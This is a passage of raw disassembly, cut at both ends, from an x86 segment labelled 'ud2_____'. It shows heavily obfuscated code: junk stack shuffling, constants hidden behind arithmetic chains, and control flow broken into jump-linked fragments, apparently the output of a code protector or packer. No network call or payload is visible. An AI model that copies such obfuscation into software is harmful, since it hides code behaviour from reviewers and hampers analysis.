		mov	ebx, 204A430Ch
		add	esi, ebx
		pop	ebx
		jmp	loc_58889C
; ---------------------------------------------------------------------------


loc_589D16:				; CODE XREF: ud2_____:005894F3j
		xor	eax, 137A400Ch
		shl	eax, 8
		sub	eax, 6CC4BD33h
		or	edi, eax
		pop	eax
		add	edi, 0FFFFFFFFh
		jmp	loc_58FE3D
; ---------------------------------------------------------------------------


loc_589D31:				; CODE XREF: ud2_____:0058166Dj
		mov	esi, esp
		add	esi, 4
		push	edx
		push	ecx
		jmp	loc_5926EF
; ---------------------------------------------------------------------------


loc_589D40:				; CODE XREF: ud2_____:005894D2j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_584738
; ---------------------------------------------------------------------------


loc_589D53:				; CODE XREF: ud2_____:0058C215j
		pop	esi
		jmp	loc_58435B
; ---------------------------------------------------------------------------


loc_589D59:				; CODE XREF: ud2_____:00590203j
		pop	ebp
		jmp	loc_58B504
; ---------------------------------------------------------------------------


loc_589D5F:				; CODE XREF: ud2_____:0058FD10j
		xchg	ecx, [esp]
		jmp	loc_592222
; ---------------------------------------------------------------------------


loc_589D67:				; CODE XREF: ud2_____:00590334j
		xor	esi, [esp]
		pop	esp
		mov	[esp], ebx
		sub	dword ptr [esp], 623058C1h
		mov	esi, [esp]
		add	esp, 4
		add	esi, 623058C1h
		mov	ebx, [esp]
		jmp	loc_5823B6
; ---------------------------------------------------------------------------


loc_589D8C:				; CODE XREF: ud2_____:005832F0j
		add	dword ptr [esp], 4
		jmp	loc_581E1D
; ---------------------------------------------------------------------------


loc_589D95:				; CODE XREF: ud2_____:00580CA7j
		mov	ecx, [esp]
		jmp	loc_585B66
; ---------------------------------------------------------------------------


loc_589D9D:				; CODE XREF: ud2_____:0058580Ej
		pop	ebx
		jmp	loc_5928E9
; ---------------------------------------------------------------------------


loc_589DA3:				; CODE XREF: ud2_____:005867C7j
		xor	edx, 0A0F059F7h
		sub	ecx, edx
		pop	edx
		sub	eax, ecx
		pop	ecx
		xor	eax, 0B9C53680h
		jmp	loc_586A73
; ---------------------------------------------------------------------------


loc_589DB9:				; CODE XREF: ud2_____:005842FFj
		push	edx
		jmp	loc_59207D
; ---------------------------------------------------------------------------


loc_589DBF:				; CODE XREF: ud2_____:00590ED5j
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_59216A
; ---------------------------------------------------------------------------


loc_589DCF:				; CODE XREF: ud2_____:005873C2j
		push	edi
		jmp	loc_57FDB3
; ---------------------------------------------------------------------------


loc_589DD5:				; CODE XREF: ud2_____:005844A9j
		push	eax
		push	esi
		jmp	loc_591209
; ---------------------------------------------------------------------------


loc_589DDC:				; CODE XREF: ud2_____:0058B8D4j
		push	dword ptr [esp]
		jmp	loc_58BBBF
; ---------------------------------------------------------------------------


loc_589DE4:				; CODE XREF: ud2_____:0058365Aj
		pop	eax
		add	esp, 4
		push	eax
		jmp	loc_585B97
; ---------------------------------------------------------------------------


loc_589DEE:				; CODE XREF: ud2_____:0057F0F4j
		add	esp, 4
		mov	edi, ecx
		pop	ecx
		jmp	loc_590D7C
; ---------------------------------------------------------------------------


loc_589DF9:				; CODE XREF: ud2_____:00583AF3j
		and	ebx, ecx
		pop	ecx
		or	ebx, ebx
		jmp	loc_588404
; ---------------------------------------------------------------------------


loc_589E03:				; CODE XREF: ud2_____:005879EFj
		mov	ecx, eax
		jmp	loc_58E1D9
; ---------------------------------------------------------------------------


loc_589E0A:				; CODE XREF: ud2_____:00589C0Aj
		xor	[ebx], esi
		pop	ebx
		jmp	loc_5804DC
; ---------------------------------------------------------------------------


loc_589E12:				; CODE XREF: ud2_____:005815B7j
		sub	cl, bl
		jmp	loc_5876B3
; ---------------------------------------------------------------------------


loc_589E19:				; CODE XREF: ud2_____:00582886j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		jmp	loc_581DA6
; ---------------------------------------------------------------------------


loc_589E26:				; CODE XREF: ud2_____:005876F5j
		push	55AE73CAh
		pop	ebp
		add	ebp, 0AA518C3Ah
		add	ecx, 29A425E2h
		add	ecx, ebp
		sub	ecx, 29A425E2h
		pop	ebp
		push	ebp
		mov	ebp, 4
		jmp	loc_591EE7
; ---------------------------------------------------------------------------


loc_589E4C:				; CODE XREF: ud2_____:00581062j
		xor	dh, bl
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	bh, dh
		jmp	loc_58EA43
; ---------------------------------------------------------------------------


loc_589E5F:				; CODE XREF: ud2_____:00582B96j
		pop	eax
		sub	ebx, edi
		sub	ebx, 194A5450h
		pop	edi
		add	ebx, eax
		push	2982h
		mov	[esp], ecx
		mov	ecx, 19675B4Fh
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	dx, [esp]
		jmp	loc_58E8AB
; ---------------------------------------------------------------------------


loc_589E89:				; CODE XREF: ud2_____:0058B4B4j
		xchg	ecx, [esp]
		pop	esp
		push	edx
		jmp	loc_5839B3
; ---------------------------------------------------------------------------


loc_589E93:				; CODE XREF: ud2_____:0058F398j
		push	edi
		jmp	loc_57F0E3
; ---------------------------------------------------------------------------


loc_589E99:				; CODE XREF: ud2_____:0058EABEj
		and	edx, 7D7E1D16h
		or	edx, 78E97581h
		xor	edx, 74AF4244h
		or	edx, 0ABA18CBh
		sub	edx, 43967D62h
		sub	edx, 491E7C58h
		push	edx
		sub	dword ptr [esp], 7E973801h
		pop	eax
		jmp	loc_58EFD2
; ---------------------------------------------------------------------------


loc_589ECB:				; CODE XREF: ud2_____:0058596Bj
		and	ecx, eax
		pop	eax
		add	ecx, 0FFE7F7F7h
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_57FE26
; ---------------------------------------------------------------------------


loc_589EE4:				; CODE XREF: ud2_____:005801C0j
		sub	ebx, 0C871050Bh
		mov	esi, ebx
		pop	ebx
		push	esi
		mov	esi, 788664D1h
		push	edi
		jmp	loc_57FBF1
; ---------------------------------------------------------------------------


loc_589EF9:				; CODE XREF: ud2_____:0058B71Ej
		mov	[esp], ebx
		jmp	loc_57E812
; ---------------------------------------------------------------------------


loc_589F01:				; CODE XREF: ud2_____:0058E8A6j
		sub	esi, ebx
		pop	ebx
		jmp	loc_5859E7
; ---------------------------------------------------------------------------


loc_589F09:				; CODE XREF: ud2_____:00589F80j
		not	edx
		jmp	loc_57E838
; ---------------------------------------------------------------------------


loc_589F10:				; CODE XREF: ud2_____:0057ECFEj
		mov	cl, 84h
		shl	cl, 5
		jmp	loc_580087
; ---------------------------------------------------------------------------


loc_589F1A:				; CODE XREF: ud2_____:0058B72Ej
		mov	edx, 675A1971h
		add	[esp+4], edx
		pop	edx
		pop	ecx
		sub	ecx, 675A1971h
		pop	ebp
		add	esi, 47F913C7h
		add	esi, ecx
		push	edx
		mov	edx, 643546h
		add	edx, 1
		shr	edx, 1
		not	edx
		xor	edx, 0B834F69Bh
		sub	esi, edx
		pop	edx
		pop	ecx
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		push	53B8h
		mov	[esp], ebp
		jmp	loc_584B0D
; ---------------------------------------------------------------------------


loc_589F62:				; CODE XREF: ud2_____:005915AEj
		sub	ebx, 0BE4CCE17h
		jmp	loc_585D2B
; ---------------------------------------------------------------------------


loc_589F6D:				; CODE XREF: ud2_____:005869FBj
		push	dword ptr [esp]
		jmp	loc_5877D4
; ---------------------------------------------------------------------------


loc_589F75:				; CODE XREF: ud2_____:0058D26Bj
		sub	eax, 47C9471Dh
		and	eax, 0FB34BDCh
		xchg	eax, edx
		jmp	loc_589F09
; ---------------------------------------------------------------------------


loc_589F85:				; CODE XREF: ud2_____:00592246j
		mov	edx, [esp]
		add	esp, 4
		sub	ebx, 0FFFFFFFFh
		push	ebp
		jmp	loc_590C47
; ---------------------------------------------------------------------------


loc_589F97:				; CODE XREF: ud2_____:0058B893j
		shr	eax, 3
		and	eax, 22DB1A68h
		push	edx
		mov	edx, 20134201h
		xchg	edi, edx
		dec	edi
		jmp	loc_58E9D7
; ---------------------------------------------------------------------------


loc_589FAD:				; CODE XREF: ud2_____:0057E2FBj
		add	esp, 4
		pop	ebp
		add	ebp, 4
		push	ecx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 760C507Dh
		dec	ebp
		xor	ebp, 3EFF2BF0h
		neg	ebp
		not	ebp
		jmp	loc_58E3DF
; ---------------------------------------------------------------------------


loc_589FD3:				; CODE XREF: ud2_____:0057F924j
		sub	dword ptr [esp], 79E36F7Eh
		pop	edx
		add	edx, 79E36F7Eh
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5837F7
; ---------------------------------------------------------------------------


loc_589FEC:				; CODE XREF: ud2_____:00582DACj
		add	esp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		xor	bl, al
		movzx	eax, al
		lea	eax, [edi+eax*4]
		push	440Fh
		mov	[esp], esi
		push	esp
		jmp	loc_58BE10
; ---------------------------------------------------------------------------


loc_58A00F:				; CODE XREF: ud2_____:00584A5Cj
		sub	esi, 13DA7BC2h
		add	esi, ebx
		add	esi, 13DA7BC2h
		pop	ebx
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	eax, 4
		add	eax, 2
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_585FA9
; ---------------------------------------------------------------------------


loc_58A03E:				; CODE XREF: ud2_____:005924E6j
		shr	dh, 7
		push	small 453Ah
		mov	[esp], cx
		mov	cl, 73h
		xor	dh, cl
		pop	cx
		xor	al, dh
		push	dword ptr [esp]
		mov	edx, [esp]
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_5924CA
; ---------------------------------------------------------------------------


loc_58A05F:				; CODE XREF: ud2_____:0058783Ej
		pop	dword ptr [esp]
		jmp	loc_5822C7
; ---------------------------------------------------------------------------


loc_58A067:				; CODE XREF: ud2_____:00588DA7j
		mov	edi, 58D3541h
		jmp	loc_58CD37
; ---------------------------------------------------------------------------


loc_58A071:				; CODE XREF: ud2_____:0058C767j
		add	al, 0F7h
		sub	al, 0Bh
		pop	cx
		sub	al, 0Eh
		push	edx
		mov	dl, 0Dh
		sub	dl, 4Fh
		sub	al, dl
		jmp	loc_58D270
; ---------------------------------------------------------------------------


loc_58A086:				; CODE XREF: ud2_____:005804FFj
		add	edx, 4
		jmp	loc_587FD4
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_584066
; ---------------------------------------------------------------------------


loc_58A09A:				; CODE XREF: ud2_____:00588DF2j
		mov	ecx, esp
		push	ebx
		sub	esp, 4
		mov	[esp], ebp
		push	eax
		mov	eax, esp
		jmp	loc_58F187
; ---------------------------------------------------------------------------


loc_58A0AE:				; CODE XREF: ud2_____:00588693j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 454D680Fh
		mov	edx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 75A811EFh
		jmp	loc_580406
; ---------------------------------------------------------------------------


loc_58A0CA:				; CODE XREF: ud2_____:0057FC05j
		sub	eax, esi
		pop	esi
		jmp	loc_58D640
; ---------------------------------------------------------------------------


loc_58A0D2:				; CODE XREF: ud2_____:00589973j
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		jmp	loc_57E366
; ---------------------------------------------------------------------------


loc_58A0DF:				; CODE XREF: ud2_____:0057E558j
		pop	ecx
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_5801A5
; ---------------------------------------------------------------------------


loc_58A0EB:				; CODE XREF: ud2_____:00590A95j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5808A5
; ---------------------------------------------------------------------------


loc_58A0F4:				; CODE XREF: ud2_____:0058A94Aj
		mov	[esp], ebx
		mov	ebx, 21A805E9h
		push	5774h
		mov	[esp], edx
		jmp	loc_57E3DF
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	edx
		push	esp
		pop	edx
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_581D7E
; ---------------------------------------------------------------------------


loc_58A128:				; CODE XREF: ud2_____:00586195j
		mov	eax, 23B9EA74h
		add	ebx, 4E3F4831h
		push	ecx
		mov	ecx, 695B763Eh
		xor	ecx, 3082804h
		push	ebp
		mov	ebp, 0ADA1896h
		sub	ecx, ebp
		jmp	loc_58BFB0
; ---------------------------------------------------------------------------


loc_58A14C:				; CODE XREF: ud2_____:005878D6j
		xchg	edi, [esp]
		jmp	loc_5821AC
; ---------------------------------------------------------------------------


loc_58A154:				; CODE XREF: ud2_____:00591D13j
		push	ebp
		mov	ebp, 197802C7h
		or	ebp, 5E7B615Bh
		dec	ebp
		dec	ebp
		jmp	loc_5804C3
; ---------------------------------------------------------------------------


loc_58A167:				; CODE XREF: ud2_____:00592629j
		mov	[esp], esp
		jmp	loc_581067
; ---------------------------------------------------------------------------


loc_58A16F:				; CODE XREF: ud2_____:005802B4j
		mov	dl, ch
		mov	ecx, [esp]
		push	ecx
		push	esp
		jmp	loc_58DC3E
; ---------------------------------------------------------------------------


loc_58A17B:				; CODE XREF: ud2_____:0058D87Aj
		mov	ebp, esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	dl, 20h
		xor	al, dl
		push	dword ptr [esp]
		pop	edx
		sub	esp, 4
		jmp	loc_5882AF
; ---------------------------------------------------------------------------


loc_58A1B6:				; CODE XREF: ud2_____:00584EF0j
		mov	eax, esp
		add	eax, 4
		jmp	loc_584E98
; ---------------------------------------------------------------------------


loc_58A1C2:				; CODE XREF: ud2_____:00584476j
		add	esp, 4
		pop	dword ptr [esp]
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], ecx
		not	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_58E37E
; ---------------------------------------------------------------------------


loc_58A1F8:				; CODE XREF: ud2_____:0057F171j
		add	ebp, ecx
		pop	ecx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		add	esp, 4
		push	dword ptr [eax]
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58A211:				; CODE XREF: ud2_____:0058926Ej
		add	ebx, 9055FD6Bh
		mov	eax, ebx
		pop	ebx
		push	edi
		mov	edi, 35769B7h
		sub	edi, 7F7251A4h
		jmp	loc_58C848
; ---------------------------------------------------------------------------


loc_58A22B:				; CODE XREF: ud2_____:0058D2F4j
		sub	bp, bx
		pop	bx
		add	bp, 211Dh
		add	bp, 59DDh
		add	bp, di
		sub	bp, 59DDh
		sub	bp, 211Dh
		add	bp, 4DBAh
		jmp	loc_580210
; ---------------------------------------------------------------------------


loc_58A251:				; CODE XREF: ud2_____:0058B826j
		pop	edx
		not	ebp
		xor	ebp, 0EA349B0h
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	eax, edi
		jmp	loc_581976
; ---------------------------------------------------------------------------


loc_58A269:				; CODE XREF: ud2_____:0058A5B3j
		sub	ecx, 592A3F01h
		add	ecx, edi
		add	ecx, 592A3F01h
		pop	edi
		add	eax, ecx
		pop	ecx
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		push	eax
		jmp	loc_589794
; ---------------------------------------------------------------------------


loc_58A28A:				; CODE XREF: ud2_____:00590C5Aj
		pop	ebp
		sub	ebp, 67CE692Eh
		add	ebp, ebx
		add	ebp, 67CE692Eh
		pop	ebx
		add	ebp, 2
		jmp	loc_58A6AA
; ---------------------------------------------------------------------------


loc_58A2A5:				; CODE XREF: ud2_____:0058C635j
		push	ecx
		push	ebx
		jmp	loc_58D8E4
; ---------------------------------------------------------------------------


loc_58A2AC:				; CODE XREF: ud2_____:0058C588j
		pop	esi
		sub	edx, 32337295h
		jmp	loc_585252
; ---------------------------------------------------------------------------


loc_58A2B8:				; CODE XREF: ud2_____:00592EE7j
		shr	edi, 8
		push	ebp
		mov	ebp, 44923B37h
		jmp	loc_581910
; ---------------------------------------------------------------------------


loc_58A2C6:				; CODE XREF: ud2_____:00590F3Dj
		pop	dword ptr [esp]
		pop	esp
		add	edi, 1896961Fh
		push	ebx
		mov	ebx, 7A36305h
		push	ecx
		mov	ecx, 40EC49C6h
		or	ecx, 4C0BE0h
		push	edi
		mov	edi, 7D8A4C92h
		jmp	loc_583DB5
; ---------------------------------------------------------------------------


loc_58A2ED:				; CODE XREF: ud2_____:0058627Cj
		add	esp, 4
		jmp	loc_58F8C0
; ---------------------------------------------------------------------------


loc_58A2F8:				; CODE XREF: ud2_____:005881D7j
		and	edx, 6FD37544h
		add	edx, 0D9ED9FC0h
		jmp	loc_58BAC6
; ---------------------------------------------------------------------------


loc_58A309:				; CODE XREF: ud2_____:00587DE9j
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	12AEh
		push	esp
		pop	dword ptr [esp]
		push	ebp
		push	esi
		push	1CB93AE2h
		mov	esi, [esp]
		add	esp, 4
		xor	esi, 1CB93AE6h
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_585617
; ---------------------------------------------------------------------------


loc_58A33E:				; CODE XREF: ud2_____:005900FFj
		pop	edx
		jmp	loc_584A03
; ---------------------------------------------------------------------------
		push	ebx
		mov	ebx, 0FEh
		and	[edi+1Ch], ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_58CEA4
; ---------------------------------------------------------------------------


loc_58A356:				; CODE XREF: ud2_____:0058876Bj
		mov	[esp], ecx
		push	419Bh
		mov	[esp], esp
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		jmp	loc_591D6F
; ---------------------------------------------------------------------------


loc_58A370:				; CODE XREF: ud2_____:005832E3j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_58F6FD
; ---------------------------------------------------------------------------


loc_58A384:				; CODE XREF: ud2_____:0058FEFBj
		inc	ebx
		add	ebx, 69F608E2h
		add	ebx, 244B7871h
		add	edi, ebx
		pop	ebx
		jmp	loc_585D35
; ---------------------------------------------------------------------------


loc_58A399:				; CODE XREF: ud2_____:0058FBA3j
		not	eax
		xchg	eax, [esp]
		pop	edi
		dec	edi
		sub	edi, 1
		jmp	loc_582682
; ---------------------------------------------------------------------------


loc_58A3A8:				; CODE XREF: ud2_____:0059027Aj
		mov	esi, [esp]
		jmp	loc_585A0E
; ---------------------------------------------------------------------------


loc_58A3B0:				; CODE XREF: ud2_____:005862CFj
		xchg	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, 3A710356h
		jmp	loc_5885CD
; ---------------------------------------------------------------------------


loc_58A3BF:				; CODE XREF: ud2_____:005809B3j
		xor	[esp], eax
		jmp	loc_57FBA4
; ---------------------------------------------------------------------------


loc_58A3C7:				; CODE XREF: ud2_____:00580D95j
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		mov	edi, 408C6DEFh
		shl	edi, 5
		push	ebp
		mov	ebp, 6E642355h
		and	ebp, 54685AA2h
		jmp	loc_585B07
; ---------------------------------------------------------------------------


loc_58A3E7:				; CODE XREF: ud2_____:00590536j
		push	36F6h
		jmp	loc_5856D6
; ---------------------------------------------------------------------------


loc_58A3F1:				; CODE XREF: ud2_____:00586A56j
		sub	ecx, 5CF37BA8h
		jmp	loc_585306
; ---------------------------------------------------------------------------


loc_58A3FC:				; CODE XREF: ud2_____:00590C09j
		add	edx, 21C704E7h
		jmp	loc_58B9D3
; ---------------------------------------------------------------------------


loc_58A407:				; CODE XREF: ud2_____:00584305j
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5870DC
; ---------------------------------------------------------------------------


loc_58A410:				; CODE XREF: ud2_____:0057F4CFj
		pop	ebx
		mov	ebp, [esp]
		push	ebx
		jmp	loc_590655
; ---------------------------------------------------------------------------


loc_58A41A:				; CODE XREF: ud2_____:00580FF2j
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_587252
; ---------------------------------------------------------------------------


loc_58A425:				; CODE XREF: ud2_____:0058537Cj
		mov	edx, 5CCA4A04h
		sub	edx, 357B2766h
		add	edi, edx
		pop	edx
		mov	ecx, [esp]
		jmp	loc_582AE6
; ---------------------------------------------------------------------------


loc_58A43B:				; CODE XREF: ud2_____:005816DCj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_58F81C
; ---------------------------------------------------------------------------


loc_58A44A:				; CODE XREF: ud2_____:00581B10j
		or	ebp, 1D760CCh
		neg	ebp
		xor	ebp, 73295B63h
		push	2C5Bh
		mov	[esp], ecx
		push	76581695h
		pop	ecx
		sub	esp, 4
		jmp	loc_58D7B2
; ---------------------------------------------------------------------------


loc_58A471:				; CODE XREF: ud2_____:0057E4C2j
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5866F9
; ---------------------------------------------------------------------------


loc_58A47A:				; CODE XREF: ud2_____:00591439j
		xor	ebp, 0F4810840h
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_58F716
; ---------------------------------------------------------------------------


loc_58A494:				; CODE XREF: ud2_____:005858C8j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	ebx, 4
		jmp	loc_590B61
; ---------------------------------------------------------------------------


loc_58A4A3:				; CODE XREF: ud2_____:005903F4j
		push	10111AF1h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_589632
; ---------------------------------------------------------------------------


loc_58A4B3:				; CODE XREF: ud2_____:00585181j
		pop	esp
		shr	ecx, 7
		push	5BDBh
		jmp	loc_582601
; ---------------------------------------------------------------------------


loc_58A4C1:				; CODE XREF: ud2_____:00581C32j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	6FD3h
		mov	[esp], edi
		mov	edi, 2
		add	ecx, edi
		jmp	loc_5888F5
; ---------------------------------------------------------------------------


loc_58A4DF:				; CODE XREF: ud2_____:0057E8BFj
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_57F87F
; ---------------------------------------------------------------------------


loc_58A4ED:				; CODE XREF: ud2_____:0057ECC8j
		pop	edx
		add	ecx, 4
		jmp	loc_58C2E8
; ---------------------------------------------------------------------------


loc_58A4F6:				; CODE XREF: ud2_____:005881CFj
		sub	esp, 4
		jmp	loc_57E447
; ---------------------------------------------------------------------------


loc_58A501:				; CODE XREF: ud2_____:005859CAj
		mov	edx, 230548C9h
		inc	edx
		shl	edx, 3
		add	edx, 0E7D5B9B4h
		add	ebp, edx
		pop	edx
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		jmp	loc_58270E
; ---------------------------------------------------------------------------


loc_58A524:				; CODE XREF: ud2_____:00589054j
		sub	esi, eax
		mov	eax, [esp]
		add	esp, 4
		sub	esi, 29F407AEh
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	esi
		push	71C63B10h
		pop	esi
		sub	esi, 3F9FC6ACh
		push	esi
		add	dword ptr [esp], 38AB6140h
		pop	ebx
		push	ebp
		mov	ebp, 38AB6140h
		sub	ebx, ebp
		pop	ebp
		mov	esi, [esp]
		add	esp, 4
		neg	ebx
		inc	ebx
		push	edi
		mov	edi, 205D31C0h
		shr	edi, 3
		jmp	loc_5808CD
; ---------------------------------------------------------------------------


loc_58A575:				; CODE XREF: ud2_____:005834ADj
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_586A00
; ---------------------------------------------------------------------------


loc_58A584:				; CODE XREF: ud2_____:00585C3Dj
		push	ebx
		jmp	loc_58ACE7
; ---------------------------------------------------------------------------


loc_58A58A:				; CODE XREF: ud2_____:005912E8j
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_58F0E1
; ---------------------------------------------------------------------------


loc_58A597:				; CODE XREF: ud2_____:0058E1E4j
		not	dword ptr [esp]
		pop	ecx
		add	ecx, 29FD6AD5h
		and	ecx, 1BD3B02h
		push	edi
		mov	edi, 0FB66E14h
		xor	edi, 0F1C9B316h
		jmp	loc_58A269
; ---------------------------------------------------------------------------


loc_58A5B8:				; CODE XREF: ud2_____:005874A4j
		push	edx
		push	1F01h
		jmp	loc_586CE7
; ---------------------------------------------------------------------------


loc_58A5C3:				; CODE XREF: ud2_____:005902A7j
		mov	[esp], ecx
		push	518Ch
		jmp	loc_57EEBE
; ---------------------------------------------------------------------------


loc_58A5D0:				; CODE XREF: ud2_____:0058452Ej
		push	0E3872BCh
		pop	ecx
		sub	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	edx, [esp]
		jmp	loc_5829A7
; ---------------------------------------------------------------------------


loc_58A5E9:				; CODE XREF: ud2_____:0057F2E0j
		pop	ebx
		jmp	loc_5858FB
; ---------------------------------------------------------------------------


loc_58A5EF:				; CODE XREF: ud2_____:0058CF4Dj
		add	ebx, 792B3B76h
		sub	ebx, eax
		sub	ebx, 792B3B76h
		jmp	loc_5852CB
; ---------------------------------------------------------------------------


loc_58A602:				; CODE XREF: ud2_____:0058B6E7j
		sub	ebp, 258F2582h
		add	ebp, ecx
		jmp	loc_5901E9
; ---------------------------------------------------------------------------


loc_58A60F:				; CODE XREF: ud2_____:0058B659j
		sub	eax, 1A693AAEh
		add	eax, ecx
		jmp	loc_57F874
; ---------------------------------------------------------------------------


loc_58A61B:				; CODE XREF: ud2_____:0058FFB6j
		mov	edi, 10000404h
		xor	ebp, edi
		pop	edi
		add	edi, ebp
		pop	ebp
		push	0
		sub	dword ptr [esp], 0F9F2A26h
		sub	[esp], edi
		add	dword ptr [esp], 0F9F2A26h
		pop	edi
		jmp	loc_583C34
; ---------------------------------------------------------------------------


loc_58A642:				; CODE XREF: ud2_____:00589A5Aj
		push	44EAh
		mov	[esp], esp
		jmp	loc_580E54
; ---------------------------------------------------------------------------


loc_58A64F:				; CODE XREF: ud2_____:0058E924j
		mov	ebp, edi
		pop	edi
		mov	ecx, [esp]
		jmp	loc_58F75B
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_5839FB
; ---------------------------------------------------------------------------


loc_58A660:				; CODE XREF: ud2_____:00585EC6j
		add	ebp, 0FFFFFFFFh
		jmp	loc_58C36B
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	7EA4h
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		push	esi
		push	eax
		mov	eax, 5D105CAh
		push	675Fh
		jmp	loc_58C28D
; ---------------------------------------------------------------------------


loc_58A6A0:				; CODE XREF: ud2_____:00581068j
		mov	esi, 4
		jmp	loc_586FD8
; ---------------------------------------------------------------------------


loc_58A6AA:				; CODE XREF: ud2_____:0058A2A0j
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		test	cl, al
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_58A6E3:				; CODE XREF: ud2_____:00580CFEj
		mov	edx, edi
		mov	edi, [esp]
		add	esp, 4
		pop	ebp


loc_58A6EF:				; CODE XREF: ud2_____:loc_58B7D2j
					; ud2_____:005926D7j
		push	dword ptr [edi+24h]
		mov	ecx, [esp]
		jmp	loc_58820A
; ---------------------------------------------------------------------------


loc_58A6FA:				; CODE XREF: ud2_____:0058A970j
		xor	ch, dh
		pop	edx
		jmp	loc_58C8FA
; ---------------------------------------------------------------------------


loc_58A702:				; CODE XREF: ud2_____:00589AA6j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp


loc_58A711:				; CODE XREF: ud2_____:00592E0Fj
		push	0F22h
		mov	[esp], ebp
		push	6FCAh
		mov	[esp], esi
		mov	esi, ebx
		push	1410h
		mov	[esp], ebx
		push	esi
		mov	ebx, [esp]
		add	esp, 4
		mov	ebp, ebx
		pop	ebx
		push	dword ptr [esp]
		jmp	loc_5842DE
; ---------------------------------------------------------------------------


loc_58A740:				; CODE XREF: ud2_____:00583EEFj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		pop	ebp
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_584CB8
; ---------------------------------------------------------------------------


loc_58A774:				; CODE XREF: ud2_____:0058BF76j
		pop	ebx
		push	7129h
		mov	[esp], eax
		jmp	loc_589968
; ---------------------------------------------------------------------------


loc_58A782:				; CODE XREF: ud2_____:005895A4j
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_58174F
; ---------------------------------------------------------------------------


loc_58A78D:				; CODE XREF: ud2_____:005853CAj
		shl	ebp, 5
		xor	ebp, ebx
		xor	ebx, ebp
		xor	ebp, ebx
		jmp	loc_580967
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_57E995
; ---------------------------------------------------------------------------


loc_58A7A4:				; CODE XREF: ud2_____:0057FAB3j
		xchg	ebp, [esp]
		pop	esp
